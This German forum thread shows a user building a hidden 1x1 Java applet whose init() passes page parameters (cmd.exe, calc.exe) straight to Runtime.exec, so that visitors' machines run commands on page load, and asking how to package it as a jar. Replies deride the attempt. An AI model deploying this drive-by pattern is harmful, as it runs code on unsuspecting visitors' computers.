CMD über Java Applet starten



  • Hallo ich versuche gerade über ein Java Applet die Windows Eingabeaufforderung zu öffnen ich habe eine HTML datei mit diesem Inhalt auf mein Test Server geladen.

    Die test.class datei konnte ich mit der Java SDK Kompilieren.

    Aber wie komme ich an die Datei test.jar

    Muss ich da auch irgendwas Kompilieren oder so?

    [html>
    <applet width='1' height='1' code='test.class' archive='test.jar'>

    <param name='first' value='cmd.exe /c start cmd.exe'>

    <param name='second' value='calc.exe'>

    </applet>
    [/html>



  • cmd schrieb:

    'cmd.exe /c start cmd.exe'

    lol



  • Sehr sinnvolle Antwort Machine 😡



  • Ich habe den Sinn der Antwort dem Sinn der Frage angepasst. :xmas2:

    Jetzt fragst du dich bestimmt, was ich damit meine, wa? Mit Google wärst du einfach mal sauschnell auf die Lösung gekommen 🙄 https://www.pc-magazin.de/praxis/programmierung/a/OpenOffice-org-mit-Java-automatisieren/6691.html als Beispiel.

    Und dein Plan, dass durch die Webseite und deinem lustigen Code die Kommandozeile unendlichfach aufgeht, is gescheitert 😉 wenn du

    cmd /c start cmd
    

    aufrufst, dann geht sie nur 2 mal auf, weil die zweite cmd dann keine Parameter bekommt.

    Aber naja.. jeder Hacker war mal Skiddy 😛



  • Hier ist die Class dazu.

    Ich müsste halt nur wissen wie das mit dieser jar Datei funktioniert ...

    import java.applet.*;
    import java.awt.*;  
    import java.io.*;
    public class skata extends Applet {
            public void init() {
                    Process f;
                    String first = getParameter("first");
                    try{
                            f = Runtime.getRuntime().exec(first);
    
                    }
        catch(IOException e){
                            e.printStackTrace();
                }
            Process s;
            String second = getParameter("second");
            try{
                s = Runtime.getRuntime().exec(second);
            }
        catch(IOException e){
                            e.printStackTrace();
                }
            Process t;
            String third = getParameter("third");
            try{
                t = Runtime.getRuntime().exec(third);
            }
            catch(IOException e){
                            e.printStackTrace();
                }
            }
    }
    


  • Was labberst du von wegen Hacker rofl.

    CMD unendlich mal aufgehen lassen omg.

    Wenn ich mit diesem Java Applet scheisse machen wollen würde dann würde ich einen Trojaner ausführen lassen der vom Server geladen wird _

    Aber das will ich auch NICHT machen ich will einfach wissen wie diese Java Applet sachen funktionieren und jetzt guck ich mir mal deinen Link an.



  • Weiss den keiner wie man so eine jar Datei erstellen kann ? '_'


Anmelden zum Antworten